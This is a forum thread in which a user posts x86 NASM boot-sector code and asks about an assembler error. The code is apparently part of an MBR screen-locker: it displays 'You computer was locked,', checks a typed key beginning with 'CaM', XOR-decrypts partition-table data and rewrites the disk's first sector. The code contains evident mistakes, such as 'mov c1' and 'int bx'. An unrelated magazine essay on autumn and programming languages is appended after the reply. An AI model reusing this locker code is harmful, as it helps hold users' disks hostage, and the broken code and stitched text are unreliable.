请教一下汇编的

min_mouse 2016-04-22 12:09:06
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org 0x7c00 ;程序将会加载到7c00这个位置,BIOS指定,无法更改
start:;初始化寄存器的值
mov ax,cs
mov ds,ax
mov ss,ax
mov es,ax
mov sp,0x100

main:
mov bp,Tips
mov cs,Tip_len
mov ax,0x1301
mov bx,0x0c
mov al,0
int 0x10

mov ax,0xb800
add ax,0xA0
mov ds,ax
xor cx,cx
xor bx,bx
GetChar:
xor ax,ax
int 0x16
cmp AL,0x8
je back
CMP al,0x0d
je entry
mov ah,2
mov [bx],al
mov [bx+1],ah
xor al,al
mov [bx+2],al
add bx,2
inc cx
mov [cs:InputCnt],cx
jmp GetChar
back:
sub bx,2
dec cx
mov [cs:InputCnt],cx
xor ax,ax
mov [bx],ax
jmp GetChar
entry:
mov ax,cs
mov es,ax
xor bx,bx

mov al,[ds:bx]
cmp al,'C'
jne key_err
add bx,2
mov al,[ds:bx]
cmp al,'a'
jne key_err
add bx,2
mov al,[ds:bx]
cmp al,'M'
jne key_err
add bx,2

mov cl,0xff
mov ch,0
mov [cs:XResult],ch

calc_key:
mov al,[ds:bx]
cmp al,0
je fixmbr
xor [cs:XResult],al
add bx,2
loop calc_key

fixmbr:
mov ax,0x7e00
mov es,ax
xor bx,bx
mov ah,0x2
mov dl,0x80
mov al,1
mov dh,1
mov dh,0
mov ch,0
mov cl,3
int 0x13

mov bx,0x01bd
xor ch,ch
mov [es:bx],ch
mov bx,0x01be
mov c1,64
decrypt:
mov al,[es:bx]
xor al,[cs:XResult]
mov [es:bx],al
int bx
loop decrypt
xor bx,bx
mov ah,0x3
mov dl,0x80
mov al,1
mov dh,0
mov ch,1
mov cl,1
int 0x13
jmp _REST
key_err:
mov bx,0xb800
add bx,Tips_Len
mov al,'X'
mov [bx],al
mov cx,[cs:InputCnt]
xor ax,ax
kk:
mov [bx],ax
add bx,2
loop kk
jmp start

_REST:
mov ax,0xfff
push ax
mov ax,0
push ax
retf
data:
XResult:db 0
InputCnt:db 0
Tips: db "You computer was locked,"
Tips_Len equ $-Tips
times 510-($-$$) db 0xF
dw 0xAA55

错误提示是
1:error:label or instruction expected at start of line
我用的是nasm2.09.02编译的
...全文
681 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
zara 2016-04-22
  • 打赏
  • 举报
回复
没这问题啊,或者,你将源程序文件保存为 unicode 格式了而非 ascii 格式?
另外有几个地方有笔误的。
炎热的夏季已经过去,家乡想必也要开始落叶了。如果我是小学生,让我以《秋》为题目作文,开头一定是“秋天是收获的季节”。是的,经过了春天的骚动,夏季的彷徨,来到了秋。这是新生报到的季节,动物贮藏食物的季节,马上就到十一长假的季节,这个季节更是收获的季节。 我们在播种时,势必首先考虑收成。种庄稼如此,学习语言更是如此。于是,“语言之争”是各个编程论坛必定讨论的话题,很多甚至是“X经”话题。对此,我的观点是:语言没有好坏之分,只有顺手不顺手和你能发挥到什么程度的问题。我们没有必要追求最新,“最先进”的编程方式,只需要学习好力所能及的语言。 VC的无所不能缺点是繁杂,稍有不慎就不知道什么地方出了包;VB常常被人耻笑过于简单,发布之后要带上一个“仓库”;Delphi虽然有快速开发的优势,但却姥姥不疼舅舅不爱的日渐西山…… 其实对于大多数人来说,我们使用什么应该是需求决定而不是语言本身决定需求,比如:我们希望自动根据数据生成表格,没有必要非用Delphi VC 调用 COM ,我们用用VBA就好了。因此,眼中只有那三种基本结构:判断 循环 跳转就差不多了,再高级一点,弄清楚什么是面向对象面向过程,随便一门语言都不会逃出这点东西。 我很佩服俄罗斯的软件,他们就是将语言工具发挥到极致的例子。比如:我在网上搜索到DOS下硬盘速度测试软件,竟然是Pascal编写的。 至于“学习好力所能及的语言”,我的意思是如果你身边有C语言的高手不妨向他请教或者同他切磋;如果你有学好数据结构的理想,不妨买一本Java描述数据结构的图书慢慢啃;如果你有网络数据库+界面的需求不妨考虑一下Delphi…… 因此,我的观点就是“语言没有好坏之分”,关键是你能掌握到什么程度。 当然,如果你能掌握汇编语言,这一切就更不在话下了。我很希望各位能够将学习语言当作乐趣,我们的杂志也将会以如何让读者在阅读中感到快乐感到成就感为目的。

21,458

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧